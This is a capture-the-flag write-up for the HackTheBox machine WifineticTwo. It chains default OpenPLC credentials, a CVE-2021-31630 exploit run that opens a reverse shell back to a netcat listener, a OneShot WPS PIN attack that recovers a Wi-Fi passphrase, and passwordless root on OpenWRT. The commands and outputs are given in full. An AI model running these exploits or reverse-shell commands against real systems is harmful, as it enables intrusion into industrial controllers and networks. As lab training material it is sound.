Summary

This technical writeup covers the WifineticTwo Linux machine on HackTheBox. User access was obtained through a misconfigured and vulnerable version of the OpenPLC application running on the machine. Root access was achieved by connecting to the secured WiFi network by exploiting WPS functionality and an OpenWRT instance running with default settings.

Reconnaissance

Basic Scans

Initial nmap scans were performed for the full TCP port range and the top 200 UDP ports:

nmap -v -T4 -Pn -A -oA nmap_full_tcp -p 1-65535 10.10.11.7
nmap -v -T4 -Pn -sU --top-ports 200 10.10.11.7

The output revealed three TCP services listening on the target host:

Nmap scan report for 10.10.11.7
Host is up (0.045s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.EHmnw1qxHDBO_smTRqxKPx8XSxw; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 27 Jul 2024 11:50:47 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.B00JT3mSuac9abHDoo1zDaRAAvs; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 27 Jul 2024 11:50:47 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     content-type: text/html; charset=utf-8
|     allow: HEAD, OPTIONS, GET
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.EHmnw1qxHDBO_smTRqxKPx8XSxw; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
|     content-length: 0
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 27 Jul 2024 11:50:47 GMT
|   RTSPRequest: 
|     HTTP/1.1 400 Bad request
|     content-length: 90
|     cache-control: no-cache
|     content-type: text/html
|     connection: close
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|_    </body></html>
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
1 service unrecognized despite returning data.

Service Identification

22/tcp

Port 22/tcp was an OpenSSH service. It could allow access to the machine once sufficient credentials are obtained or added to the user’s authorized_keys file. At this point, nothing could be done with this service.

8080/tcp

Port 8080/tcp was an instance of a Python-based application running on Werkzeug/1.0.1 with Python/2.7.18. The application presents itself as OpenPLC. The software has an authenticated CVE-2021-31630 remote code execution vulnerability.

Foothold

Default credentials for OpenPLC are openplc/openplc, which allow logging into this instance of the application.

User Access

The exploit for CVE-2021-31630 allows establishing a reverse shell to our machine:

nc -nlvp 1234
python3 cve_2021_31630.py -u openplc -p openplc -lh 10.10.14.8 -lp 1234 http://10.10.11.7:8080/
------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------

[>] Found By : Fellipe Oliveira
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[>] Target   : http://10.10.11.7:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout  : 120 secs
[>] LHOST    : 10.10.14.8
[>] LPORT    : 1234

[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!

We get a reverse shell as the root user, but this is not the root from the target machine. It’s an intermediate one. The flag is located under /root/user.txt.

Privilege Escalation

After looking around, we spot the wlan0 network interface with no active connection:

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0
       valid_lft 3068sec preferred_lft 3068sec
    inet6 fe80::216:3eff:fefc:910c/64 scope link
       valid_lft forever preferred_lft forever
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff

but the interface has no active connection. We can look for available networks:

iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
        last seen: 7377.904s [boottime]
        TSF: 1722086086438617 usec (19931d, 13:14:46)
        freq: 2412
        beacon interval: 100 TUs
        capability: ESS Privacy ShortSlotTime (0x0411)
        signal: -30.00 dBm
        last seen: 0 ms ago
        Information elements from Probe Response frame:
        SSID: plcrouter
        Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
        DS Parameter set: channel 1
        ERP: Barker_Preamble_Mode
        Extended supported rates: 24.0 36.0 48.0 54.0
        RSN:     * Version: 1
                 * Group cipher: CCMP
                 * Pairwise ciphers: CCMP
                 * Authentication suites: PSK
                 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
        Supported operating classes:
                 * current operating class: 81
        Extended capabilities:
                 * Extended Channel Switching
                 * SSID List
                 * Operating Mode Notification
        WPS:     * Version: 1.0
                 * Wi-Fi Protected Setup State: 2 (Configured)
                 * Response Type: 3 (AP)
                 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
                 * Manufacturer:
                 * Model:
                 * Model Number:
                 * Serial Number:
                 * Primary Device Type: 0-00000000-0
                 * Device name:
                 * Config methods: Label, Display, Keypad
                 * Version2: 2.0

We can see the plcrouter SSID, so we can attempt to attack it with the OneShot tool.

/usr/bin/python3 oneshot.py -i wlan0 -b "02:00:00:00:02:00" -K
[...snipp...]
WPA PSK: NoWWEDoKnowWhaTisReal123!
AP SSID: plcrouter
WPS PIN: 12345670
[...snipp...]

Now we can connect to the WiFi network:

wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! > wifi.conf
wpa_supplicant -B -c wifi.conf -i wlan0

We didn’t get an IP address assigned due to the lack of a DHCP service running in the network, but this can be done manually:

ifconfig wlan0 192.168.1.99 netmask 255.255.255.0

Now we can SSH into the router and grab the root flag:

This worked because, by default, OpenWRT does not have a root password set.